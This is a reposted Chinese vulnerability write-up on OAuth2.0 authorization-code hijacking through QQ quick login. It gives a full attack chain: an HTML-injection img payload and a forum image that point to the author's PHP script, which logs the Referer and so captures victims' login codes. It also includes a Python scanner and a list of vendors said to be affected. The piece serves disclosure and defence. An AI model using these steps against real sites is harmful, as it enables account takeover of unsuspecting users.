OAuth2.0认证缺陷-第三方帐号快捷登录授权劫持漏洞

  • 内容
  • 相关
鬼少EMLOG超强搬运工插件测试

 

OAuth2.0认证缺陷-第三方帐号快捷登录授权劫持漏洞


作者:MSTLab-EvilChen

什么是OAuth2.0?

OAuth2.0是OAuth协议的下一版本,但不向后兼容OAuth 1.0即完全废止了OAuth1.0。 OAuth 2.0关注客户端开发者的简易性。要么通过组织在资源拥有者和HTTP服务商之间的被批准的交互动作代表用户,要么允许第三方应用代表用户获得访问的权限。同时为Web应用,桌面应用和手机,和起居室设备提供专门的认证流程。2012年10月,OAuth 2.0协议正式发布为RFC 6749 。

RFC 6749 : https://tools.ietf.org/html/rfc6749

QQ OAuth2.0 流程分析&攻击

国内的很多厂商使用了OAuth2.0的认证方式,这里以QQ为例。

QQ互联 : https://connect.qq.com/intro/login

相信大家在很多网站上都见过如下的登陆界面:

可以看见除了厂商本身网站的账号以外还有QQ跟微信这两个快捷登陆,首先以QQ的快捷登陆为例子:

点击QQ图标进入登陆的链接 -> https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/?view=null&uuid=65392bc3fc724fca8dcba23558f67ec8

这里因为我的QQ是在电脑上已经登陆了,所以我可以直接进行登陆,这时候进行抓包截取整个流程,

关键流程分析

Request 1:

POST /oauth2.0/authorize HTTP/1.1 Host: graph.qq.com

1 Response:

HTTP/1.1 302 Moved Temporarily Server: tws Date: Fri, 09 Feb 2018 11:50:42 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=50 Content-Encoding: gzip Location: http:/a.com/?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664

Request 2:(这个请求表示根据参数code的值进行个人用户凭证生成)

GET /?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664 HTTP/1.1 Host: a.com

2 Response:(setcookie返回用户凭证)

HTTP/1.1 302 Moved Temporarily Content-Length: 0 Connection: close Set-Cookie: 用户凭证 Location: https://www.a.com/ Cache-Control: max-age=0

这时候我们就可以注意到问题了,请求1产生了一个链接,其就是QQ登陆的地址中的参数redirect_uri附带上参数code的值,而这个链接是生成用户凭证的,所以链接中的参数code也是至关重要的,看到这里我的攻击思路已经产生了:

假设QQ登陆的地址中的参数redirect_uri的值可以为我的网站,那么只要用户A点击我就可以根据网站日志访问记录获取参数code的值再根据请求2获取用户A在a.com的账号权限。

理想很好,现实残酷:

这里QQ做了限制,我不需要去分析QQ关联的全部流程就能知道这里的参数client_id,其实就是a.com的QQ互联的服务id,graph.qq.com根据client_id获取a.com的设置允许的参数redirect_uri的值再跟你输入的参数redirect_uri的值进行比较。

这时候我只需要对参数redirect_uri进行Fuzz就能知道哪些范围是允许的:


id domain yes or no?
1 b.com (代表着除了a.com外的域名) no
2 1.a.com (代表着a.com的二级子域名) yes
3 ...1.1.a.com (代表着a.com的多级子域名) no


a.com的二级子域名可以为参数redirect_uri的值,目前我需要解决的就是如何根据a.com的二级子域名获取到code的值:

1.我有一个HTML注入漏洞

漏洞地址:http://1.a.com/?xss=%3Cimg+src="http://www.evilchen.cn/getref.php"%3E

getref.php的内容为如下PHP代码:

<?php file_put_contents("ref.txt", $_SERVER['HTTP_REFERER']); ?>

将漏洞地址作为参数redirect_uri的值,然后诱导用户A点击登陆,这时候跳转的链接就变成了:

http://1.a.com/?xss=%3Cimg+src="http://www.evilchen.cn/getref.php"%3E&code=120ED71CAECB11BAD538820E12B54664

跳转之后这个链接会做为HTTP Referer的值再请求http://www.evilchen.cn/getref.php,那么我的服务器就会接收到code的值,再根据Request 2的值填入,我就可以获取用户A在a.com的账号权限了

2.我能在其他地方引用外部资源

很多厂商都会有社区、论坛等功能,大部分会使用Discuz程序来做,而Discuz确实可以引用外部资源~

这里我使用的图片地址还是http://www.evilchen.cn/getref.php ,然后进行帖子回复。

帖子地址为 http://bbs.a.com/thread-123-1-1.html ,将帖子地址作为参数redirect_uri的值,然后诱导用户A点击登陆,这时候跳转的链接就变成了:

http://bbs.a.com/thread-123-1-1.html?code=120ED71CAECB11BAD538820E12B54664

跳转之后这个链接会做为HTTP Referer的值再请求http://www.evilchen.cn/getref.php ,那么我的服务器就会接收到code的值,再根据Request 2的值填入,我就可以获取用户A在a.com的账号权限了:

攻击流程

1.我点击a.com的QQ登录,获取QQ快捷登录链接,替换redirect_uri的值为如上两个问题的地址然后发送给受害者
2.受害者点击QQ头像登录,会跳转到redirect_uri的值(链接),并且携带上code的值

3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)

4.攻击者获取referer的值,构建B地址,并且进入链接(注意 攻击者要在未登录情况下)

风险检测

我简单的写了个poc,仅仅做风险检测,具体危害可以自行检查~~

#-*- coding:utf-8 -*- #Auther: MSTLab(EvilChen) #www.hi-ourlife.com #www.pwnhoo.com import requests,urlparse def scan(url):     tempUrl = getValue(url)
    tempDomain = urlparse.urlparse(tempUrl).netloc
    domainA = tempDomain.split('.')
    domainB = tempDomain.replace(domainA[0],"mstlab")
    url = url.replace(tempUrl,domainB)
    r = requests.get(url)
    if "redirect uri is illegal" not in r.text:
        print "[*] This website is vulnerable!"     else:
        print "[*] This website is safe!" def getValue(url):     query = urlparse.urlparse(url).query
    resUrl = dict([(k,v[0]) for k,v in urlparse.parse_qs(query).items()])['redirect_uri']
    return resUrl if __name__ == '__main__':
    url = raw_input("URL: ")
    scan(url)

poc的使用方法很简单,只需要复制QQ快捷登陆的链接:

经过我们实验室的排查发现存在风险的厂商如下:


id 厂商 是否有风险
0 百度
1 京东
2 网易
3 微博
4 新浪
5 腾讯
6 爱奇艺
.... ....


等国内知名厂商近百家都存在此危害。

修复建议

redirect_uri的值做限制


鬼少EMLOG超强搬运工插件测试


本文由 搬运工 OAuth2.0认证缺陷-第三方帐号快捷登录授权劫持漏洞 摘抄,如有侵权请邮件告知。

本文标签:

版权声明:若无特殊注明,本文皆为《鬼少》原创,转载请保留文章出处。

本文链接:OAuth2.0认证缺陷-第三方帐号快捷登录授权劫持漏洞 - http://tv1314.com/post-467.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

00:00 / 00:00
顺序播放